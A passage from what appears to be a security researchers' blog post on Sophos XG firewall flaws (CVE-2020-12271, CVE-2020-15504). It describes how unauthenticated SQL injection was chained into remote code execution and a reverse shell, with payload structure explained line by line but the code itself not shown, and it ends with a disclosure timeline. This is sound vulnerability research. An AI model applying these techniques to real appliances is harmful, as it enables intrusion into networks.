  • Our JSON object had to contain a query key which held the actual SQL statement we wanted to execute.

When we satisfied all of the above conditions we were able to execute arbitrary SQL statements. There was only one caveat: we could not use any quotes in our SQL statements since the csc binary properly escaped those (see the escapeRequest sub 0-day chapter for details). As a workaround we defined strings with the help of the concat and chr SQL functions.

From SQLi to RCE

Once we had gained the ability to modify the database to our needs, there were quite a few places where the SQLi could be expanded into an RCE. This was the case because parameters contained within the database were passed to exec calls without sanitation in multiple instances. Here we will only focus on the attack path which was, based on our understanding and the details released in Sophos' analysis, used during the Asnarök campaign.

According to the published information, the attackers injected their payloads in the hostname field of the Sophos Firewall Manager (SFM) to achive code execution. SFM is a separate appliance to centrally manage multiple appliances. This raised the question: what happens in the back end if you enable the central administration?

To locate the database values related to the SFM functionality we dumped the database, enabled SFM in the front end, and created another dump. A diff of the dumps was then used to identify the changed values. This approach revealed the modification of multiple database rows. The attribute CCCAdminIP in the table tblclientservices was the one used by the attackers to inject their payload. A simple grep for CCCAdminIP directed us to the function get_SOA in the Perl code.

As can be seen on line 15, the code retrieves the value of the CCCAdminIP from the database and passes it unfiltered into the EXECSH call on line 22. Due to some kind of cronjob the get_SOA opcode is executed regularly leading to the automatic execution of our payload.

What made this particular attack chain very unfortunate was the if condition on line 11, as it allowed us to reach the EXECSH call only if the automatic installation of hotfixes is active (which is the default setting) and if the appliance is configured to use SFM for central management (which is not the default setting). This resulted in a situation in which the attackers most likely only gained code execution on devices with activated auto-updates - leading to a race condition between the hotfix installation and the moment of exploitation.

Installations that do not have automatic hotfixes enabled or have not moved to the latest supported maintenance releases could still be vulnerable.

Gaining code execution via the SQLi described in CVE-2020-12271.

From N to Zero (CVE-2020-15504)

Another promising approach for discovery of the n-day, instead of starting at a patch diff, seemed to be an analysis of all back end functions (callable via the /webconsole/Controller endpoint) which did not require authentication. The respective function numbers could, for example, be extracted from the Java function getPreAuthOperationList.

SQL-Injection countermeasures inside the Perl logic

Despite of the fact that the back end performed all its SQL operations without prepared-statements, those were not automatically susceptible to injection.

The reason for this was, that all function parameters coming in via port 299 were automatically escaped via the escapeRequest function before being processed.

So everything is safe?

One function which caught our attention was RELEASEQUARANTINEMAILFROMMAIL (NR 2531) as the corresponding logic silently bypassed the automatic escaping. This happened because the function treated one of the user-controllable parameters as a Base64 string and used this parameter, decoded, inside a SQL statement. As the global escaping took place before the function was actually called, it only ever saw the encoded string and thus missed any included special characters such as single quotes.

After the parameter was decoded, it was split into different variables. This was done by parsing the string based on the key=value syntax used in HTTP requests. We were concentrating on the hdnFilePath variable, as its value did not need to satisfy any complicated conditions and ended up in the SQL statement later on.

The only constraint for $requestData{hdnFilePath} was, that it did not contain the sequence ../ (which was irrelevant for our purposes anyway). After crafting a release parameter in the appropriate format we were now able to trigger a SQLi in the above SELECT statement. We had to be careful to not break the syntax by taking into account that the manipulated parameter was inserted six times into the query.

Triggering a database sleep through the discovered SQL-I (6s delay as the sleep command was injected 6 times).

Upgrading the boring Select statement

The ability to trigger a sleep enables an attacker to use well known blind SQLi techniques to read out arbitrary database values. The underlying Postgres instance (iviewdb) differed from the one targeted in the n-day. As this database did not seem to store any values useful for further attacks, another approach was chosen.

With the code-execution technique used by Asnarök in mind, we aimed for the execution of an INSERT operation alongside a SELECT. In theory, this should be easily achievable by using stacked queries. After some experimentation, we were able to confirm that stacked queries were supported by the deployed Postgres version and the used database API. Yet, it was impossible to get it to work through the SQLi. After some frustration, we found out that the function iviewdb_query (/lib/libcscaid.so) called the escape_string (/usr/bin/csc) function before submitting the query. As this function escaped all semicolons in the SQL statement, the use of stacked queries was made impossible.

Giving up yet?

At this point, we were able to trigger an unauthenticated SQL Injection in a SELECT statement in the iviewdb database, which did not provide us with any meaningful starting points for an escalation to RCE. Not wanting to abandon the goal of achieving code execution we brainstormed for other approaches. Eventually we came up with the following idea - what if we modified our payload in such a way that the SQL statement returned values in the expected form? Could this allow us to trigger the subsequent Perl logic and eventually reach a point where a code execution took place? Constructing a payload which enabled us to return arbitrary values in the queried columns took some attempts but succeeded in the end.

Execution of a SELECT statement which returns values specified inside the payload.

After we had managed to construct such a payload we concentrated on the subsequent Perl logic. Looking at the source we found a promising EXEC call just after the database query. And one of the parameters for that call was derived from a variable under user control.

Unfortunately, the variable $g_ha_mode (most likely related to the high availability feature) was set to false in the default configuration. This prompted us to look for a better way. The function mergequarantine_manage did not contain any further exec calls but triggered two other Perl functions in the same file, under the right conditions. Those functions were triggered via the apiInterface opcode which generated a new CSC request on port 299.

In our case $request->{action} was always set to release restricting us to a call to manage_quarantine. This function used its submitted parameters (result-set from the query in mergequarantine_manage) to trigger another SELECT statement. When this statement returned matching values an EXEC call was triggered, which got one of the returned values as a parameter.

The question now was how the result-set of the second SELECT statement could be manipulated through the result-set of the first statement? How about returning values in the first query which would trigger a SQLi in the second statement? Because string concatenation was used to construct the statement this should have been possible in theory. Unfortunately, we were unable to obtain the desired results. This was after having invested quite a bit of work to craft such a payload. A brief analysis of how our payload was processed, revealed that it was somehow escaped before reaching the second query. As it turned out, the reason for this was actually pretty obvious. As the function was triggered via a new CSC request, it automatically passed through the previously described escape logic.

Time to accept our defeat and be happy with the boring SQLi? Not quite...

Desperately looking for other ways to weaponize the injection we dug deeper into the involved components. At an earlier stage we already created a full dump of the iviewdb database but did not pay too much attention to it after having realized that it did not include any useful information. On revisiting the database, one of its features - so called user-defined functions - heavily used by the appliance, stood out.

User-defined functions enable the extension of the predefined database operations by defining your own SQL functions. Those can be written in Postgres' own language: PL/pgSQL. What made such functions interesting for our attack was, that previously defined functions could be called in-line in SELECT statements. The call-syntax is the same as for any other SQL function, i.e. SELECT my_function(param1, param2) FROM table;.

The idea at this point was, that one of the existing user-defined functions might allow the execution of stacked queries. This would be the case as soon as a parameter was used for a SQL statement without proper filtering inside a function. Walking over the database dump revealed multiple code blocks matching this characteristic and to our surprise an even simpler way to execute arbitrary statements - the function execute. The respective code expected only one parameter which was directly executed as SQL statement without any further checks.

This function would, in theory, allow us to execute an INSERT statement inside the SELECT query of mergequarantine_manage. This could be then used to add database rows to the table tblquarantinespammailmerge which should later end up in the exec call in manage_quarantine.

Triggering an INSERT statement via the execute function from within a SELECT statement.

After fiddling around for quite some time we were finally able to construct an appropriate payload (see below).

Explanation:

  • Line 1-2: Defining the two HTTP parameters needed for mode 2531.
  • Line 3-6: Defining the three Base64 encoded parameters, that are needed to pass the initial checks in mergequarantine_manage.
  • Line 7: Triggering the SQLi by injecting a single quote.
  • Line 8-11: Utilizing the user-defined function execute in order to trigger different SQL operations than the predefined SELECT.
  • Line 10: Adding a new row to the table tblquarantinespammailmerge that contains our code-execution payload in the field quarantinearea and sets messageid to 'a'. Note the .eml portion inside the payload, which is required to reach the exec call.
  • Line 9: Delete all rows from tblquarantinespammailmerge where the messageid equals 'a'. This ensures that the mentioned table contains our payload only once (remember that the vector is injected 6x in the initial statement). Whereas this is not absolutely necessary it simplifies the path taken after the SELECT statement in manage_quarantine and prevents our payload to be executed multiple times.
  • Line 12-14: Needed to comply with the syntax of the predefined statement.

Using the above payload resulted in the execution of the following Perl command:

So finally our job was done... but somehow there seemed to be no time delay, which would indicate that our sleep has not actually triggered. But why? Did we not use exactly the same execution mechanism as in the n-day? Turns out - not quite. Asnarök used EXECSH we have EXEC. Unfortunately EXEC is treating spaces in arguments correctly by passing them in single values to the script.

I assume we better bury our heads in the sand

We had come to far to give up now, so we carried on. Finally we were able to execute code through the SQLi and it was good ol' Perl which allowed us to do so.

Adding this last piece to the attack chain and fixing a minor issue in the posted payload is left up to the reader.

Triggering a reverse shell by abusing the discovered vulnerability.

Timeline

  • 04.05.2020 - 22:48 UTC: Vulnerability reported to Sophos via BugCrowd.
  • 04.05.2020 - 23:56 UTC: First reaction from Sophos confirming the report receipt.
  • 05.05.2020 - 12:23 UTC: Message from Sophos that they were able to reproduce the issue and are working on a fix.
  • 05.05.2020: Roll out of a first automatic hotfix by Sophos.
  • 16.05.2020 - 23:55 UTC: Reported a possible bypass for the added security measurements in the hotfix.
  • 21.05.2020: Second hotfix released by Sophos which disables the pre-auth email quarantine release feature.
  • June 2020: Release of firmware 18.0 MR1-1 which contains a built-in fix.
  • July 2020: Release of firmware 17.5 MR13 which contains a built-in fix.
  • 13.07.2020: Release of the blog post in accordance with the vendor after ensuring that the majority of devices either received the hotfix or the new firmware version.

We highly appreciate the quick response times, very friendly communication as well as the hotfix feature.

❌
❌